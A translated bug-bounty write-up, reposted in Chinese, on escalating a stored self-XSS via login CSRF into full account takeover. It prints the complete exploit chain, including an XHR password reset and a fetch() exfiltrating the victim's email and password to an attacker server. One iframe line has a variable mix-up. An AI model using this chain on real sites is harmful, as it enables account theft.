您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)從存儲(chǔ)型self-XSS到最終實(shí)現(xiàn)賬號(hào)完全接管的示例分析,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說(shuō),跟著小編一起來(lái)看看吧。
下面講述了作者從發(fā)現(xiàn)一個(gè)存儲(chǔ)型的self-XSS,到利用目標(biāo)網(wǎng)站的一些錯(cuò)誤配置和功能,最終實(shí)現(xiàn)目標(biāo)網(wǎng)站賬號(hào)的完全接管。
漏洞利用過(guò)程概括如下:
發(fā)現(xiàn)存儲(chǔ)型的self-XSS
google登錄的csrf,登錄攻擊者的賬戶,將self-XSS轉(zhuǎn)變成good-XSS
登出攻擊者的賬戶
google登錄受害者的賬戶
竊取修改密碼的csrf令牌
修改受害者賬號(hào)密碼
發(fā)送到受害者的郵箱、密碼到攻擊者的服務(wù)器
在一個(gè)非公開(kāi)漏洞賞金項(xiàng)目測(cè)試中,我在站點(diǎn)的個(gè)人簡(jiǎn)介設(shè)置功能中發(fā)現(xiàn)了一個(gè)簡(jiǎn)單的存儲(chǔ)型XSS。該功能操作大概是,當(dāng)從本地上傳一張圖片時(shí),圖片會(huì)被上傳到非當(dāng)前的另一服務(wù)器上,接下來(lái)的一個(gè)請(qǐng)求會(huì)將服務(wù)器圖片地址保存到當(dāng)前服務(wù)器上。我將該請(qǐng)求中的圖片地址所在的參數(shù)加上了一個(gè)簡(jiǎn)單的XSS payload,類(lèi)似這樣&imageurl=https://example.com“><script>alert(1)</script>,接下來(lái)每次我訪問(wèn)個(gè)人簡(jiǎn)介的時(shí)候都會(huì)有提示框彈出。但是這只是一個(gè)self-XSS,我需要使其能在受害者方執(zhí)行才行。
之前我了解到該站點(diǎn)支持google登錄,那么可以使受害者通過(guò)訪問(wèn)下面的html代碼登錄我自己的賬戶,接著在5秒后使受害者訪問(wèn)賬號(hào)的個(gè)人簡(jiǎn)介頁(yè)從而觸發(fā)存儲(chǔ)型XSS。代碼中的google登錄用到的TOKEN可以在本地登錄后抓取到,其有效期為一天,在有效期內(nèi)發(fā)給受害者,受害者登錄后TOKEN會(huì)保持自動(dòng)更新有效性。
<html> <body> <form action="https://example.com/en/login?accessToken=TOKEN" method="POST"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); setTimeout(function(){window.location="https://example.com/USERNAME/edit";}, 5000) </script> </body> </html>
接著我在漏洞提交報(bào)告中闡述了以上的攻擊細(xì)節(jié),在受害者觸發(fā)XSS之后攻擊者可以做一些社工操作竊取受害者的數(shù)據(jù),由于受害者瀏覽器訪問(wèn)的URL是同一網(wǎng)站的URL,這使得攻擊可信度更高。該漏洞利用受到了h2漏洞分揀員的贊賞,但是他希望我可以實(shí)現(xiàn)對(duì)受害者的賬戶執(zhí)行XSS,這樣才能產(chǎn)生更高的影響。我想說(shuō)這句話激勵(lì)到了我,我對(duì)此表示感激。
所以接下來(lái)的任務(wù)就是實(shí)現(xiàn)登錄受害者的賬戶并執(zhí)行XSS?,F(xiàn)在我比較好奇的是,如果受害者已經(jīng)在網(wǎng)站登錄了他的google賬戶的情況下,我們是否還可以觸發(fā)XSS?答案是可以,我之前做了一些相關(guān)的研究和閱讀,這篇@emgeekboy0的writeup幫助了我很多。
如那篇writeup提到的,我們首先需要將賬戶登出。在這個(gè)網(wǎng)站的場(chǎng)景下登出賬戶并不是一個(gè)簡(jiǎn)單的登出url就可以,而是還需要一個(gè)csrf令牌才可以登出。好在令牌就在站點(diǎn)源碼中,可以很簡(jiǎn)單的通過(guò)XSS獲取。接著我在js代碼中通過(guò)加載一個(gè)iframe去實(shí)現(xiàn)賬戶的登出操作,代碼部署到了我的服務(wù)器上,XSS的payload相比之前也就更新成了“><script src=”https://myserver.com/exploit.js”></script>。
//getting logout url with csrf token from source //從源碼中獲取登出url使用到的csrf令牌 var y = JSON.parse(document.getElementById('conf').innerHTML); var url = y.user.link.logOut //First iframe to logout //第一個(gè)iframe用于登出賬號(hào)操作 var profileIframe = document.createElement('iframe'); profileIframe.setAttribute('src', 'https://example.com'+url); profileIframe.setAttribute('id', 'pi'); document.body.appendChild(profileIframe);
通過(guò)以上代碼可以將之前已經(jīng)登陸的攻擊者賬戶登出,接下來(lái)需要通過(guò)google的登陸按鈕登陸受害者的賬戶,但是現(xiàn)在的問(wèn)題是并沒(méi)有登陸google的url可用,唯一的方法就是點(diǎn)擊google的登陸按鈕。所以我開(kāi)始研究javascript如何實(shí)現(xiàn)在DOM中點(diǎn)擊按鈕,并將其加入到腳本中。現(xiàn)在腳本整體功能稍顯復(fù)雜,具體過(guò)程是在之前已經(jīng)創(chuàng)建的第一個(gè)iframe中加載另一個(gè)iframe,為了后者iframe可以加載完成,在等待30秒后再觸發(fā)其iframe中的DOM代碼點(diǎn)擊google登錄按鈕:
document.getElementById('pi').onload = function() { //second iframe to login to victims google account //第二個(gè)iframe用于登錄受害者的google賬號(hào) var profileIframe1 = document.createElement('iframe'); profileIframe1.setAttribute('src', 'https://example.com/login'); profileIframe1.setAttribute('id', 'lo1'); document.body.appendChild(profileIframe1); //waiting for 30 seconds for the iframe to load properly //30秒等待iframe加載完成 document.getElementById('lo1').onload = function() { setTimeout(function(){ load() }, 30000) function load() { let iframe = document.getElementById('lo1'); let inner = iframe.contentDocument || iframe.contentWindow.document; //Clicked google login in iframe to login to victim //iframe中實(shí)現(xiàn)點(diǎn)擊google登錄按鈕,登錄受害者的賬戶 inner.getElementsByClassName("g_login")[1].click(); } } }
現(xiàn)在我們已經(jīng)成功登錄了受害者賬戶,既然已經(jīng)都這了何不再利用該站點(diǎn)的其它配置錯(cuò)誤實(shí)現(xiàn)對(duì)受害者賬戶的完全接管。Cookies是帶有HttpOnly屬性的,所以竊取Cookies是行不通的。不過(guò)我們可以在設(shè)置中給google賬戶添加一個(gè)密碼,而且有趣的是添加新密碼并不需要舊密碼確認(rèn)。所以現(xiàn)在我最后要做的是構(gòu)造一個(gè)可以修改密碼的javascript腳本,為此我們需要解決下面兩個(gè)問(wèn)題:
修改密碼需要不同的csrf令牌,令牌位于設(shè)置頁(yè)面的源碼中,我需要拿到令牌才可以修改密碼。
設(shè)置頁(yè)面的url大概是這樣的“https://example.com/user/setting”, 所以我需要拿到受害者賬號(hào)的賬號(hào)名,才能到配置頁(yè)拿到修改密碼的csrf令牌。
讀者是否記得上面提到的竊取用于登出操作的csrf令牌的地方,同時(shí)也是可以獲取用戶名的。接著下來(lái)為了獲取密碼修改的csrf令牌,我在之前創(chuàng)建的iframe中創(chuàng)建了又一個(gè)用于竊取令牌的iframe,代碼如下:
//wait 40 seconds to t login fully //等待40秒完全登錄 setTimeout(function(){ takeover() }, 40000) function takeover() { //Getting users parameters page url from source //從源碼中獲取賬戶名 let iframe_second = document.getElementById('lo1'); let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document; var z = JSON.parse(inner1.getElementById('conf').innerHTML); var param = z.user.link.parameter; // opens third iframe to steal csrf token for pass change //創(chuàng)建用于竊取用于修改密碼令牌的第三個(gè)iframe // Where param is like /user/settings //param值是/user/settings var profileIframe2 = document.createElement('iframe'); profileIframe1.setAttribute('src', 'https://example.com'+param); profileIframe1.setAttribute('id', 'lo2'); document.body.appendChild(profileIframe2); //waiting 50 seconds to let the third iframe load fully //等待50秒以便于讓第三個(gè)iframe可以加載完成 document.getElementById('lo2').onload = function() { setTimeout(function(){ csrf() }, 50000) //Stealing csrf token from parameters page //從設(shè)置頁(yè)面竊取csrf令牌 function csrf() { let iframe_csrf = document.getElementById('lo2'); let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document; var csrf = inner_csrf.getElementById("password__token").value; } } }
密碼修改用到的csrf令牌已拿到,只需要一個(gè)XMLHhttpRequest的POST請(qǐng)求就可以修改受害者賬戶的密碼:
//account takover //接管賬戶 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example.com"+param+"/password", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));
不過(guò)就目前情況作為攻擊者來(lái)說(shuō),密碼已經(jīng)修改,但是還需要獲取受害者的email賬號(hào)才行。幸運(yùn)的是,用戶的email賬戶剛好存在該站點(diǎn)的localStorage中,接下來(lái)只需要用fetch函數(shù)將其發(fā)送到我的服務(wù)上:
fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")
至此通過(guò)以上過(guò)程,完成了從存儲(chǔ)型self-XSS到賬戶的完全接管。
以上就是從存儲(chǔ)型self-XSS到最終實(shí)現(xiàn)賬號(hào)完全接管的示例分析,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。